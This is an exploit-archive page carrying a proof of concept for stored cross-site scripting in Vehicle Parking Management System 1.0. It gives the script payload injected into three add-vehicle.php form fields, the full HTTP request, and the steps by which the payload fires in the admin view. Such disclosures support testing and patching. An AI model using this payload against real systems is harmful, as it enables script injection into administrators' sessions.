Vehicle Parking Management System 1.0 Cross Site Scripting

Authored by faisalfs10x

Posted Jul 21, 2021

Vehicle Parking Management System version 1.0 suffers from a persistent cross site scripting vulnerability. Original discovery of persistent cross site scripting in this version is attributed to Tushar Vaidya in February of 2021.

tags | exploit, xss

SHA-256 | 9bec80e5c2a5aa1ef11d5bf7ba3fefc9dd167b4102e4b463a46172b3e3c4bd46 Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Title: Vehicle Parking Management System -  Stored Cross-Site-Scripting (XSS)
# Date: 2021-07-09
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/vehicle-parking-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Windows 10, XAMPP


#################
# Description  #
#################

# The system is vulnerable to Stored XSS on add-vehicle.php endpoint.


########
# PoC  #
########


PoC ) param vehcomp,vehreno,ownername - Stored XSS
Payload: 1;<script>alert(1);</script>
Request:
--------

POST /vpms/add-vehicle.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------394550818638800510208629180 06
Content-Length: 842
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/vpms/add-vehicle.php
Cookie: PHPSESSID=01nt1pa71gtioktv5ii907c813
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

-----------------------------394550818638800510208629180 06
Content-Disposition: form-data; name="catename"

Bicycles
-----------------------------394550818638800510208629180 06
Content-Disposition: form-data; name="vehcomp"

1;<script>alert(1);</script>
-----------------------------394550818638800510208629180 06
Content-Disposition: form-data; name="vehreno"

2;<script>alert(2);</script>
-----------------------------394550818638800510208629180 06
Content-Disposition: form-data; name="ownername"

3;<script>alert(3);</script>
-----------------------------394550818638800510208629180 06
Content-Disposition: form-data; name="ownercontno"

7627637673
-----------------------------394550818638800510208629180 06
Content-Disposition: form-data; name="submit"


-----------------------------394550818638800510208629180 06--


############
# Fire up  #
############

1) Goto: Login as Admin
2) Goto: Manage Vehicle -> Manage In Vehicle -> Click view
3) Stored XSS payloads are fired
```

Login or Register to add favorites

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11secur1ty 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed